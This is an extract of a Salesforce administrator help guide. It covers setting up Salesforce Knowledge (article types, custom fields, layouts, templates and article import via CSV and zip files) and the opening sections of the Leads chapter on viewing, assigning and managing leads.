a. Confirm that you want to enable Salesforce Knowledge and click Enable Knowledge. It cannot be disabled.
b. Optionally, choose a Knowledge Base Language. This is the language your authors will use to write articles. Your
organization's language is the default.

3. Create the category groups and individual categories that knowledge managers will assign to articles. Categories help
knowledge agents, knowledge managers, customers, and visitors find articles in the knowledge base. See Managing Data
Categories on page 1474 for more details.
4. After setting up your data categories, you can control article visibility based on category. By default, Salesforce Knowledge
users have access to all articles associated with any category. To restrict article visibility, you can specify that certain categories
are visible only to certain roles in the role hierarchy. See Editing Category Group Visibility Settings on page 1487 for details.
5. Give users access to Salesforce Knowledge by assigning each user a Salesforce Knowledge feature license:

a. Click Setup ➤ Manage Users ➤ Users.

1651
Salesforce Knowledge Setting Up Salesforce Knowledge

b. Click Edit next to the user's name or click New to create a new user.
c. Select the Knowledge User checkbox.

6. Verify that the profile assigned to each user has the appropriate Salesforce Knowledge user permissions enabled. Note the
following:

• Users who will create article types and modify other settings in Setup ➤ Customize ➤ Knowledge need the “Manage
Salesforce Knowledge” user permission. This permission is on by default in the System Administrator profile.
• Users who will find and view articles need the “View Articles” permission. This permission provides full access to the
Articles tab. “View Articles” is on by default in all standard profiles.
• Users who will create, edit, archive, and delete articles need the “Edit Articles” permission. We recommend creating
a “Knowledge Manager” custom profile that includes the “Edit Articles” and “View Articles” permissions. With these
permissions the knowledge manager has full access to the Article Management and Articles tabs.

For a description of each user permission, see User Permissions on Profiles on page 150.
7. If you have an existing knowledge base, import your articles into Salesforce Knowledge.
8. Make the Article Management and Articles tabs visible by adding them to a custom app or instructing your users to add
the Article Management or Articles tabs to an existing tab set. Only users with the “View Articles” user permission can
see the Articles tab, and only users with the “Edit Articles” user permission can see the Article Management tab.
9. If you use the Customer Portal and want to make articles visible to portal users, enable Salesforce Knowledge in the
Customer Portal.
10. As needed, Create a synonym group to allow Salesforce Knowledge users to search for articles using synonyms as keywords.
11. If your organization is using cases, add the Articles related list to case page layouts. The Articles related list lets users find
articles that may help them solves cases.
12. If you want visitors to your public website to view Salesforce Knowledge articles, install the Sample Public Knowledge Base
for Salesforce Knowledge app from the AppExchange. For detailed instructions, see Creating a Public Knowledge Base with
Salesforce Knowledge.

See Also:
What is Salesforce Knowledge?
Managing Article Types
What are Data Categories?
Managing Salesforce Knowledge Synonyms
Creating a Public Knowledge Base with Salesforce Knowledge
Salesforce Knowledge Implementation Guide

1652
Salesforce Knowledge Enabling Salesforce Knowledge Settings

Enabling Salesforce Knowledge Settings


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable Salesforce Knowledge: “Customize Application”

Note: Before enabling Salesforce Knowledge, create an article type.

Salesforce Knowledge is a knowledge base where users can easily create and manage content, known as articles, and quickly
find and view the articles they need. For more information, see What is Salesforce Knowledge? on page 1628.
Click Setup ➤ Customize ➤ Knowledge ➤ Settings. If Salesforce Knowledge has not been enabled in your organization,
an Enable Knowledge option is available. If Salesforce Knowledge is already enabled, the Knowledge Base Language
drop-down menu displays. By default, the knowledge-base language is the same as your organization's language. The search
engine uses the knowledge-base language value to search for articles. Modify the value only if all your knowledge managers
will write articles in a language other than the default organization language.

See Also:
What is Salesforce Knowledge?
Setting Up Salesforce Knowledge
Useful Salesforce Knowledge Terminology

Managing Article Types


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, or delete article types: ”Customize Application”
AND
“Manage Salesforce Knowledge”

When creating an article, the author must select an article type. Article types, such as FAQs and Tutorials, provide the format
and structure to control how an article displays for each audience, known as a channel. For each article type you can create
custom fields, customize the layout by adding or removing sections and fields, and choose a template for each channel.

1653
Salesforce Knowledge Defining Article Types

After creating your article types, you can customize, edit, and delete them. Click Setup ➤ Customize ➤ Knowledge ➤
Article Types to display the Article Types list page, which provides a list of all the article types defined for your organization.
From the Article Types list page you can:

• Click New Article Type to define an article type.


• Click the article-type name to display the detail page. On the detail page you can edit existing fields, add new custom
fields, add and edit sections on the article-type layout, and select a template for each channel.
• Click Del to delete an article type.

See Also:
Defining Article Types
Using the Fields Related List
Modifying Article-Type Layouts
Assigning Article-Type Templates

Defining Article Types


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, or delete article types: ”Customize Application”
AND
”Manage Salesforce Knowledge”

When creating an article, the author must select an article type. Article types, such as FAQs and Tutorials, provide the format
and structure to control how an article displays for each audience, known as a channel. For each article type you can create
custom fields, customize the layout by adding or removing sections and fields, and choose a template for each channel.
To create an article type:

1. Click Setup ➤ Customize ➤ Knowledge ➤ Article Types.


2. Click New Article Type or edit an existing article type.
3. Enter the following:

Field Description
Label A name used to refer to the article type in any user interface
pages.
Plural Label The plural name of the object. If you create a tab for this
object, this name is used for the tab.
Gender If it is appropriate for your organization’s default language,
specify the gender of the label. This field appears if the

1654
Salesforce Knowledge Defining Article Types

Field Description
organization-wide default language expects gender. Your
personal language preference setting does not affect whether
the field appears. For example, if the organization’s default
language is English and your personal language is French,
you are not prompted for gender when creating an article
type.
Starts with a vowel sound If it is appropriate for your organization’s default language,
check if your label should be preceded by "an" instead of "a."
Object Name (Read only) A unique name used to refer to the article type
when using the Force.com API. In managed packages, this
unique name prevents naming conflicts on package
installations. The Object Name field can contain only
underscores and alphanumeric characters. It must be unique,
begin with a letter, not include spaces, not end with an
underscore, and not contain two consecutive underscores.
Description An optional description of the article type. A meaningful
description will help you remember the differences between
your article types when you are viewing them in a list.
Deployment Status Indicates whether the article type is visible outside Setup.
In Development means knowledge managers cannot choose
this article type when creating articles. Only select Deployed
after you are done creating the article type.

4. Click Save.
5. On the article type detail page, complete the following information:

• In the Fields related list, create or modify custom fields as needed.


• In the Fields related list, edit the article type layout as needed to rearrange fields and create sections.
• In the Channel Displays related list, choose a template for the internal app, Customer Portal, and public knowledge
base.

See Also:
Adding Custom Fields to Article Types
Modifying Article-Type Layouts
Assigning Article-Type Templates
Useful Salesforce Knowledge Terminology

1655
Salesforce Knowledge Defining Article Types

Using the Fields Related List


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change custom fields: “Customize Application”
To modify article-type layouts “Manage Salesforce Knowledge”

On the Fields related list on the article-type detail page, you can:

• Edit the Abstract, Title, and URL Name standard fields. These fields are required on all article types and cannot be
deleted.
• Click New to create a custom field. All article types should have at least one rich-text area field for writing article text and
a File field for attaching documents to articles. For help deciding which type of custom fields your article type needs, review
the custom fields for article types.
Note: Salesforce Knowledge does not support field-level security.

• Click Edit Layout to rearrange or remove fields and modify sections for the article type.

See Also:
Adding Custom Fields to Article Types
Custom Field Types on Articles
Modifying Article-Type Layouts

Adding Custom Fields to Article Types

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change custom fields: “Customize Application”
AND
“Manage Salesforce Knowledge”

Create custom fields to store information that is important to your articles. Before you begin, determine the type of custom
field you want to create. The only standard fields provided on article types are Abstract, Title, and URL Name, so at
minimum you'll want to create a field where knowledge managers can write the body of the article.

1656
Salesforce Knowledge Defining Article Types

Note: Knowledge managers can view the URL Name when they create or edit an article. The URL Name does not
appear to end users viewing published articles.

To add a custom field:

1. Click Setup ➤ Customize ➤ Knowledge ➤ Article Types.


2. Select an article type.
3. Click New in the Fields related list.
4. Choose the type of field to create, and click Next.
5. Enter a field label. The field name is automatically populated based on the field label you enter. This name can contain
only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not
include spaces, not end with an underscore, and not contain two consecutive underscores. Ensure the custom field name
is not identical to any standard field name for that object.
6. Enter any field attributes, such as Description, and click Next to continue.
Note: You cannot enter a default value for any custom field.

7. If you do not want the field to be added automatically to the article-type layout, uncheck Yes, add this custom
field to the layout.
8. Click Save to finish or Save & New to create more custom fields.
9. Optionally rearrange your custom fields on the article-type layout.

Note: Creating fields may require changing a large number of records at once. To process these changes efficiently,
Salesforce.com may queue your request and send an email notification when the process has completed.

Caution: You will lose your data if you convert a custom field on an article type into any other field type. Do not
convert a custom field on an article type unless no data exists for the field.

See Also:
Changing Custom Field Type
Modifying Article-Type Layouts
Assigning Article-Type Templates
Useful Salesforce Knowledge Terminology

Custom Field Types on Articles


The first step in creating a custom field is choosing the type of the field. The following custom field types are available for
articles.

Type Description
Date Allows users to enter a date or pick a date from a popup
calendar. In reports, you can limit the data by specific dates
using any custom date field.

1657
Salesforce Knowledge Defining Article Types

Type Description
Date/Time Allows users to enter a date or pick a date from a popup
calendar and enter a time of day. They can also add the current
date and time by clicking the date and time link next to the
field. The time of day includes AM or PM notation. In
reports, you can limit the data by specific dates and times using
any custom date field.
File Allows users to upload and attach a file to an article. Note the
following caveats about File fields:
• The maximum attachment size is 5 MB.
• You can add up to 5 File fields to each article type; contact
Salesforce.com to increase these limits.
• If the Disallow HTML documents and
attachments security setting is enabled, File fields do
not support HTML files.
• Content in a File field is not searchable and cannot be
imported using the article importer.
• You cannot attach Salesforce CRM Content files using
the File field.
• The File field type is not supported in Developer edition.
• You cannot convert a File field type into any other data
type.

Picklist Allows users to select a value from a list you define.


Picklist (Multi-select) Allows users to select more than one picklist value from a list
you define. These fields display each value separated by a
semicolon.
Text Allows users to enter any combination of letters, numbers, or
symbols. You can set a maximum length, up to 255 characters.
Text Area Allows users to enter up to 255 characters that display on
separate lines similar to a Description field.
Text Area (Long) Allows users to enter up to 32,000 characters that display on
separate lines similar to a Description field. You can set
the length of this field type to a lower limit, if desired. Any
length from 256 to 32,000 characters is allowed. Note that
every time you press Enter within a long text area field, a
linebreak and a return character are added to the text. These
two characters count toward the 32,000 character limit. This
data type is not available for activities or products on
opportunities.
Text Area (Rich) Allows users to enter up to 32,000 characters of
HTML-supported text. See Using Rich-Text Area Fields on
page 464.

1658
Salesforce Knowledge Defining Article Types

Type Description
URL Allows users to enter up to 255 characters of any valid website
address. When users click on the field, the URL will open in
a separate browser window. Note that only the first 50
characters are displayed on the record detail pages.

See Also:
Changing Custom Field Type
Useful Salesforce Knowledge Terminology
Adding Custom Fields to Article Types

Modifying Article-Type Layouts


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To customize the article-type layout: “Customize Application”
AND
“Manage Salesforce Knowledge”

Article-type layouts determine which fields users can view and edit when entering data for an article. They also determine
which sections appear when users view articles. The format of the article, for example whether layout sections display as subtabs
or as a single page with links, is defined by the article-type template. Each article type has only one layout, but you can choose
a different template for each of the article type's three channels.
To modify an article-type layout:

1. Click Setup ➤ Customize ➤ Knowledge ➤ Article Types.


2. Select one of the article types in the list.
3. In the Fields related list, click Edit Layout.
4. When working on the layout:

• The layout editor consists of two parts: a palette on the upper portion of the screen and the layout on the lower portion
of the screen. The palette contains the available fields and a section element. The layout contains an Information section
and space for you to add additional sections. By default, all custom fields are included in the Information section.
Note: The Abstract, Title, and URL Name standard fields do not display in the layout. The Abstract
appears in a read-only Properties section at the top of the published article. Also included in this header are
the First Published, Last Modified, and Last Published fields.

• To add a new section, drag and drop the section element into the palette

1659
Salesforce Knowledge Defining Article Types

• To change the name of a section, click its title. You cannot rename the Information section.
• To remove a field from a section, drag it to the right side of the palette or click the x icon ( ) next to the field.
• To remove a section from the article-type layout, click the x icon ( ) next to the section name.
• Use the undo and redo buttons to step backwards and forwards, respectively.
• Use the following keyboard shortcuts:

- Undo = Ctrl+Z
- Redo = Ctrl+Y
- Quick Save = Ctrl+S

• To select multiple elements individually, use CTRL+click. To select multiple elements as a group, use SHIFT+click .
• To quickly locate any item in the palette, use the Quick Find box. The Quick Find box is especially useful for article-type
layouts that have large numbers of items available in the palette.
• To save your changes and continue editing the article-type layout, click Quick Save.
• To save your changes when you are done customizing the article-type layout, click Save. If you navigate away from
your article-type layout before clicking save, your changes will be lost.

See Also:
Defining Article Types
Adding Custom Fields to Article Types
Assigning Article-Type Templates

Assigning Article-Type Templates


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit article-type template assignments: “Manage Salesforce Knowledge”

When creating an article type in Salesforce Knowledge, each channel is assigned to an article-type template.
The article-type template specifies how the sections defined in the article-type layout are rendered. Salesforce.com provides
two standard article-type templates, Tab and Table of Contents, and you can use Visualforce to create custom templates.
If you choose the Tab template, the sections you defined in the layout appear as tabs when users view an article.

1660
Salesforce Knowledge Defining Article Types

Figure 9: Published Article Using the Tab Article-Type Template

If you choose the Table of Contents template, the sections you defined in the layout appear on one page with hyperlinks to
each section title.

Figure 10: Published Article Using the Table of Contents Article-Type Template

To choose the template assignment for a channel:

1. Click Setup ➤ Customize ➤ Knowledge ➤ Article Types.


2. Select one of the article types in the list to view the article-type detail page.
3. In the Channel Displays related list, click Edit.
4. For each channel, specify the template.
For the internal app and Customer Portal, Tab is the default template. For the public knowledge base, Table of Contents
is the default template. If your organization has a custom template for this article type, it also displays in the drop-down
menu.

1661
Salesforce Knowledge Defining Article Types

5. Click Save.

See Also:
Modifying Article-Type Layouts
Defining Article Types
Useful Salesforce Knowledge Terminology

Creating Custom Article-Type Templates

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, or delete article-type templates: ”Customize Application”
AND
Manage Salesforce Knowledge”

When creating an article type in Salesforce Knowledge, each channel is assigned to an article-type template.
The standard article-type templates—Tab and Table of Contents—specify how the sections defined in the article-type layout
are rendered. For example, if you choose the Tab template, the sections defined in the layout appear as tabs when users view
an article. If you choose the Table of Contents template, the sections defined in the layout appear on a single page with
hyperlinks to each section. You can also create a custom template for an article type using Visualforce. Custom templates are
not associated with the article-type layout.
To create a custom article-type template:

1. Click Setup ➤ Customize ➤ Knowledge ➤ Article Types.


2. Find the article type you are creating the template for and click its title to open the detail page. Note the article type's API
Name. You will need this value when you create the Visualforce page.
3. Click Setup ➤ Develop ➤ Pages.
4. Click New.
5. In the Name text box, enter the text that should appear in the URL as the page name. This name can contain only underscores
and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not
end with an underscore, and not contain two consecutive underscores.
6. In the Label text box enter the text that users will see when choosing this template from the Channel Displays related
list on the article type detail page.
7. Add your Visualforce markup. The only requirement for custom article-type templates is that the standard controller be
equal to the API Name of the article type. For example, if the API Name of the article type is FAQ__kav, your markup
would be:

<apex:page standardController="FAQ__kav">

... page content here ...

</apex:page>

1662
Salesforce Knowledge Deleting Article Types

8. Click Save. Your custom template can now be assigned to any channel on the article type. See Assigning Article-Type
Templates on page 1660 for details.

See Also:
Developer's Guide: Visualforce Developer's Guide
Managing Visualforce Pages
Managing Article Types
Useful Salesforce Knowledge Terminology

Deleting Article Types


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delete article types: “Customize Application”
AND
“Manage Salesforce Knowledge”

To delete an article type:

1. Click Setup ➤ Customize ➤ Knowledge ➤ Article Types.


2. Next to the target article type, click Del.
3. Confirm that you want to delete the article type.

Notes on Deleting Article Types


Note the following about deleting article types:
• If your organization has only article type, you cannot delete it. Every Salesforce Knowledge org requires at least one deployed
article type. Create a new article type and then delete the old one.
• Any articles associated with a deleted article type are automatically removed from all channels. This includes draft, published,
and archived articles.
• Salesforce.com does not display deleted article types in the Recycle Bin with other deleted records. Instead, deleted article
types appear in the Deleted Article Types list on the article list view page for 45 days. During this time you can restore the
article type and its articles, or permanently erase the article type and its articles. After 45 days, the article type and its articles
are permanently erased.
• If a user clicks a bookmark to a deleted article's URL, an Insufficient Privileges message displays.

See Also:
Defining Article Types
Useful Salesforce Knowledge Terminology

1663
Salesforce Knowledge Importing Articles

Importing Articles
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To import articles: “Manage Knowledge”
AND
“Edit Articles”
AND
“View Articles”

To view articles: “View Articles”


To create, edit, archive, or delete articles: “Edit Articles”

You can import articles from an existing knowledge base into Salesforce Knowledge.
After setting up Salesforce Knowledge, complete the tasks below to import articles:

1. Prepare the articles for import.


2. Create a CSV file that maps imported articles with an article type.
3. Specify import parameters (optional).
4. Create and upload a zip file containing the CSV and any supporting files.
5. View the import status.

Prepare the Articles


Import articles one article type at a time. Sort existing articles by information type (for example, FAQ or Offer) and ensure
that each information type has a Salesforce Knowledge article type that matches its structure and content. For example, if you
are importing FAQs, ensure that Salesforce Knowledge has an FAQ article type with enough question and answer fields to
accommodate the largest FAQ article.
Images can only be imported as part of an HTML file. Ensure that all your images are included in an HTML file and referenced
with a relative path using the img tag and its attribute src.
If your articles contain HTML files, use an article type that contains a rich-text area field and ensure that the HTML is
compliant with the tags and attributes supported in the rich-text area field on page 465.
Note: Test your import using a small set of articles.

Create a CSV File to Map Imported Articles with an Article Type


Each CSV file imports articles into one article type and maps the imported articles' content with the article type's fields. For
example, a CSV file might map articles' titles with the standard field Title in an article type, meaning that each article's title
is imported into the Title field.

1664
Salesforce Knowledge Importing Articles

1. Create one CSV file per article type.


• CSV files cannot have more than 10,000 rows..
• CSV file rows cannot exceed 400,000 characters..
• CSV file cells cannot exceed 32 KB..

2. In the first row, specify the article type's fields and metadata (such as data categories or channels). Enter one item in each
column. You can use the following fields and metadata to import content:
• Standard or custom fields—refer to an article type's standard fields using field names and refer to custom fields using
API names. Leaving a row cell empty may cause your articles to be skipped if the related article-type field is mandatory.
The File custom field type does not support imports.
• Rich text area field—use therich text area custom fields to import HTML files or images. Refer to an article type's rich
text area field using its API name.
• To categorize the imported articles use Category groups; refer to a category group using its unique name prefixed with
datacategorygroup. For example, use datacategorygroup.Products to specify the category group Products.
• To specify where the imported articles are available use channels. Use the keyword Channels.

3. In subsequent rows, specify the articles you want to import. Use one row per article and enter the appropriate information
in each article type field column or metadata column.
• Standard or custom fields—enter the articles' data for each field, except for rich-text area fields where you must enter
the relative path to the corresponding HTML file in your zip.
• Rich text area field—enter the HTML file path relative to the location of the CSV file. If the path to the HTML file
does not exist, the related article is not imported. Note the following information about importing HTML and images:
- We recommend that you create a folder for the HTML files (for example, /data) and a separate folder for the
images (for example, data/images).
- To import images, include the images in an HTML file using the <img> tag and src attribute. Ensure that the
src value is a relative path from the HTML file to the image folder.
- Images must be PNG, GIF, or JPEG files.
- Each image file cannot exceed 1 MB.
- Each HTML file cannot exceed 32 KB.
- If a date does not match the date format specified in the property file, the related article is not imported.
- If an HTML file references a file that isn't allowed, the related article is not imported.
- If an HTML file references an image that is missing, the related article is imported without the image.

• Category groups—use category unique names to categorize articles. Use the plus symbol (+) to specify more than one
category (for example, Laptop+Desktop).
Note: Leaving the cell row empty causes your article to be set to No Categories. Also, if you specify a category
and its parent (for example, Europe+France) the import process skips the child category France and keeps the
parent category Europe, because application of a parent category implicitly includes the category's children.

• Channels—specify articles' channels using the keywords:


- application for the internal application. If you don't specify a channel, application is the default.
- sites for a public knowledge base.
- csp for the Customer Portal.

Use the plus symbol (+) to specify more than one channel (for example, application+sites+csp to make an article
available in all channels).

1665
Salesforce Knowledge Importing Articles

The following example CSV file imports articles in a Product Offer article type. The CSV file contain titles, summaries, and
descriptions. It also classifies the articles in the category group Products and makes them available for specific channels. The
description__c field is a rich-text area and only supports paths to HTML files. The summary__c field is a text field
and only supports raw text. The “Best Desktop Computer Deals” article has no summary; the cell is left blank because the
summary__c field is not mandatory.

Title summary__c description__c datacategorygroup.Products Channels


Free Digital Camera This is every photo data/freecamoffer.html Consumer_Electronics application+csp
Offer lover's dream! Get the
new Digital Camera.
This amazing new
camera includes
18-55MM Lens and
Telephoto Lens!
Best Desktop data/besktdeskcomputerdeals.html Desktop application+csp
Computer Deals
Free Shipping on data/freeshiplaptop.html Laptop+Desktops application+csp
Laptop and Desktops

Example articlesimport.csv CSV file:

Title,summary__c,description__c,datacategorygroup.Products,Channels
Free Digital Camera Offer,"This is every photo lover's dream! Get the new Digital Camera.
This amazing new camera includes 18-55MM Lens and Telephoto
Lens!",data/freecamoffer.html,Consumer_Electronics,application+csp
Best Desktop Computer Deals,,data/besktdeskcomputerdeals.html,Desktop,application+csp
Free Shipping on Laptop and Desktops,,data/freeshiplaptop.html,Laptop+Desktops,application+csp

Specify Import Parameters (Optional)


If you want to overwrite the default parameters for the import, you can specify import parameters in a property file using key
names and the corresponding values. For example you could use the key DateFormat to specify that a date custom field
appears in the :DateFormatt=dd/MM/YYYY format or specify the character encoding to be used for the import.
Create a file with the .properties extension. and specify the required parameters, which can include:

Key Description Default Value


DateFormat Format of the date to read in the CSV yyyy-MM-dd
file
DateTimeFormat Format of the date to read in the CSV yyyy-MM-dd HH:mm:ss
file
CSVEncoding Character encoding used to read the ISO8859_15_FDIS
CSV file
CSVSeparator CSV file separator ,

1666
Salesforce Knowledge Importing Articles

Key Description Default Value


RTAEncoding Default encoding used for the HTML ISO8859_15_FDIS
files (if not specified in the charset
attribute from the HTML meta tag).
Note: Salesforce.com does not
support the UTF-32 character
encoding. We recommend using
UTF-8. If you use specify the
UTF-16 character encoding,
ensure your HTML files specify
the right byte-order mark.

Note: If a date in the CSV file does not match the date format specified in the property file, the related article is not
imported.

Example articlesimport.properties property file:

DateFormat=yyyy-MM-dd
DateTimeFormat=yyyy-MM-dd HH:mm:ss
CSVEncoding=ISO8859_15_FDIS
CSVSeparator=,
RTAEncoding=UTF-8

Create and Upload a Zip File


To complete the import, create a zip file containing:
• The CSV file.
• The folder containing the HTML files to import.
• The folder containing the image files referenced in the HTML files.
• The property file (optional).
Before uploading the zip file to Salesforce.com, ensure that:
• There is only one CSV file and only one property file (if provided).
• The CSV file and the property file are in the root directory.
• The compression process preserves the folder and subfolder structure.
• The zip file does not exceed 10 MB and the uncompressed files do not exceed 100 MB.
• The language selected on Setup ➤ Customize ➤ Knowledge ➤ Settings is the same language used in the articles you
are importing.
Upload your zip file:
1. Select Setup ➤ Data Management ➤ Import Articles.
2. Select the appropriate Article Type for the imported articles.
3. Click Browse to select the zip file, and click OK.
4. Click Import Now.
When the import is complete you receive an email with an attached log that provides details about the import.

1667
Salesforce Knowledge Importing Articles

View Import Status


To check the status of your imports, click Setup ➤ Monitoring ➤ Article Imports. All imports are listed, including zip file
names, article types, and submitted, started, and completed dates.
Each import displays a status:
• Pending: the zip file is uploaded and queued. This import will start as soon as the previous pending import is completed.
You can click Cancel to cancel the import.
• Processing: the import is processing. If you want to stop the process or if the process has been stopped, call Salesforce.com
Support. Salesforce.com may stop an import if a maintenance task has to be performed or the import exceeds one hour.:
• Stopping/Stopped: the import is being stopped or is stopped by Salesforce.com Support. Contact Salesforce.com Support
to restart the import or click Cancel to cancel the import.
• Aborted: the import has been canceled. The articles imported successfully are still available in Salesforce Knowledge. You
can:
- Re-upload the zip file to restart the import.
- Click Del to delete the import entry from the Article Import Queue list.
- Click Email Log to receive the completion email and check the details of your import.

• Completed: the import is complete. This status does not mean that the import is successful—click Email Log to see the
log file attached to the completion email and check the details of your import. Successfully imported articles are visible on
the Article Management tab in the My Draft Articles and All Draft Articles views. Click Del to delete the
import entry from the Article Import Queue list.

See Also:
Custom Field Types on Articles
Managing Articles
Deleting Articles
What is Salesforce Knowledge?
Setting Up Salesforce Knowledge

1668
LEADS

Leads Overview
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

A lead is a prospect or potential opportunity - a person you met at a conference who expressed interest, or someone who filled
out a form on your company’s website.
You can enter leads manually in the Leads tab, or your administrator can import leads or set up Web-to-Lead to gather
information from your company’s website. Users can also import leads via the campaign import wizards if they have the
Marketing User checkbox selected on their user information plus the Marketing User profile (or the “Import Leads”
permission and the “Edit” permission on campaigns).
The Leads tab displays a home page that lets you quickly create and locate leads. You can also sort and filter leads using
standard and custom list views. In addition, this tab lets you create and edit leads, associate events and tasks with those leads,
and convert qualified leads into an account, contact, and, optionally, an opportunity.

See Also:
Leads Home
Tip sheet: Getting the Most from Your Leads
Administrator tip sheet: Tips & Hints for Lead Administrators
Administrator setup guide: Lead Management Implementation Guide

Leads Home
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view Leads tab: “Read” on leads
To view leads: “Read” on leads
To create leads: “Create” on leads

Clicking on the Leads tab displays the leads home page.

• In the Lead Views section, select a list view from the drop-down list to go directly to that list page, or click Create New
View to define your own custom view.
To view the leads in a queue, choose that queue list from the drop-down list. For every queue your administrator creates,
Salesforce.com adds a corresponding queue list view.

1669
Leads Leads Home

Note: The organization-wide sharing model for an object determines the access users have to that object's records
in queues:
Public Read/Write/Transfer
Users can view and take ownership of records from any queue.

Public Read/Write or Public Read Only


Users can view any queue but only take ownership of records from queues of which they are a member or,
depending on sharing settings, if they are higher in the role or territory hierarchy than a queue member.

Private
Users can only view and accept records from queues of which they are a member or, depending on sharing
settings, if they are higher in the role or territory hierarchy than a queue member.
Regardless of sharing model, users must have the “Edit” permission to take ownership of records in queues of which
they are a member. Administrators, users with the “Modify All” object-level permission for Cases, and users with
the “Modify All Data” permission, can view and take records from any queue regardless of the sharing model or
their membership in the queue.

• In the Recent Leads section, select an item from the drop-down list to display a brief list of the top leads matching that
criteria. From the list, you can click any lead name to go directly to the lead detail. Toggle the Show 25 items and Show
10 items links to change the number of items that display. The fields you see are determined by the “Leads Tab” search
layout defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited, and
Developer Editions only). The Recent Leads choices are:

Recent Leads Choice Description


My Unread Leads The last ten or twenty-five leads assigned to you which you
have not yet viewed or edited. This list only includes records
owned by you.
Recently Viewed The last ten or twenty-five leads you viewed, with the most
recently viewed lead listed first. This list is derived from your
recent items and includes records owned by you and other
users.
Recently Created The last ten or twenty-five leads you created, with the most
recently created lead listed first. This list only includes
records owned by you.

• If Quick Create has been enabled by your administrator, you can add a new lead from the Quick Create area in the sidebar
on the leads homepage. Alternatively, click New next to the Recent Leads section to create a new lead.
• Under Reports, click any report name to jump to that report.
• In the Summary section, choose values and click Run Report to view a summary list of your leads.
• Select any of the links under Tools to manage your leads.

1670
Leads Managing Leads

• If leads are shared with external contacts via Salesforce to Salesforce, choose one of the list views under Leads from
Connections to view leads that your business partners have shared with you.

See Also:
Leads Overview
Managing Leads
Assigning Leads
Displaying and Editing Leads
Creating Leads
Cloning Leads
Converting Leads
Merging Duplicate Leads
Deleting Leads
Creating Custom List Views

Managing Leads
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

Before your organization begins using leads, your administrator can perform the following setup:

• Customize the default Lead Settings; see Customizing Lead Settings on page 667.
• Create lead queues to help manage the distribution of leads; see Managing Queues on page 170.
• Set up lead assignment rules to automatically assign leads; see Managing Assignment Rules on page 699.
• Set up Web-to-Lead to automatically capture leads from your website; see Capturing Web Leads on page 670.
• Import your organization’s existing leads; see Import My Organization’s Leads on page 327.
• Create custom lead fields; see Creating Custom Fields on page 439.
• Map custom lead fields to other custom fields for lead conversion; see Mapping Custom Lead Fields on page 669.
• Edit the Lead Status picklist to choose the default status for new and converted leads; see Modifying Picklists on page
423.

1671
Leads Assigning Leads

Assigning Leads
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change or accept ownership of leads from a queue: “Edit” on leads
To change ownership of leads you do not own that are not in “Edit” on leads
a queue:
AND
“Transfer Record” or “Transfer Leads”

To accept ownership of a lead that is transferred to you: “Read” on leads

You can assign leads to users or queues in a variety of ways.


Using an Assignment Rule when Creating or Editing a Lead
Your administrator can create a lead assignment rule to automatically assign leads to different users or queues. Without
a lead assignment rule, the system assigns all new web-generated leads to the Default Lead Owner defined on the Lead
Settings page.
Your administrator can assign new web-generated leads using the Web-to-Lead setup, or when creating or editing a
lead, you can check a box to assign the lead automatically using your active lead assignment rule. An email is automatically
sent to the new owner if your administrator specified an email template in the matching rule entry. If you want this
checkbox to be selected by default, your administrator can modify the appropriate page layout.

Importing Leads
When importing new leads, your administrator can apply a lead assignment rule to automatically assign leads to users
or queues based on values in certain lead fields. Alternatively, your administrator can add a Record Owner field to the
import file to assign lead ownership. Without a lead assignment rule or Record Owner field, imported leads are
automatically assigned to the user doing the import. See Import My Organization’s Leads on page 327 and Importing
Campaign Members on page 1304.

Creating a Lead Manually (default assignment)


When you manually create a lead from the Leads tab, you are automatically listed as the owner of the lead.

Taking Leads from a Queue


To take ownership of leads in a queue, go to the queue list view, check the box next to one or more leads, and click
Accept.

Changing Ownership of One Lead

To change the ownership of a lead you own or have read/write sharing access to, click the Change link next to the Lead
Owner field, and then specify the name of a user or queue. The Change link only displays on the lead detail page, not
the edit page. Select the Send Notification Email box to send an automated email to the new lead owner. If the
new owner is a queue, Salesforce.com sends the email to all of the queue members.

1672
Leads Viewing Lead Lists

Changing Ownership of Multiple Leads


You can transfer ownership of multiple leads if you have the “Transfer Leads” or “Transfer Record”  permission, the
“Edit” object permission on leads, and sharing access to view the leads. To transfer ownership of multiple leads, use
either of the following methods:

• From a list view or queue, select one or more leads and click Change Owner.
• Use the mass transfer tool at Setup ➤ Data Management ➤ Mass Transfer Records.

All leads that are assigned to you, either manually, via import, or from the web, are automatically marked as “Unread;” that
is, they have a check mark in the Unread column on leads list views. So to view your new leads, select the My Unread leads
list view. Leads are automatically marked as “Read” only after you view or edit them.
If your organization uses divisions, leads that are assigned via assignment rules are automatically set to the default division of
the new owner.

See Also:
Managing Assignment Rules
Transferring Records Overview

Viewing Lead Lists


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view leads: “Read” on leads
To create leads: “Create” on leads

The leads list page displays a list of leads in your current view. From this page, you can view detailed lead information and
access related activity information.

• Click a lead name to view the lead detail. Click Edit or Del next to specific lead entries to edit or delete the lead.
• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. Choose the My Unread Leads view to see all of your new leads; unread leads are leads you own
that you have not yet viewed or edited. To edit or delete any view you created, select it from the View drop-down list and
click Edit.
• Click Printable View to display the current list view in a format that is ready for printing.
• To change the Owner or Status for multiple leads, display your list view, then check the box next to one or more leads.
Optionally, check the box in the column header to select all currently displayed items. Then click the Change Owner or
Change Status button.
If you change the status of a lead you own using the Change Status button, the Unread By Owner checkbox is still
selected.
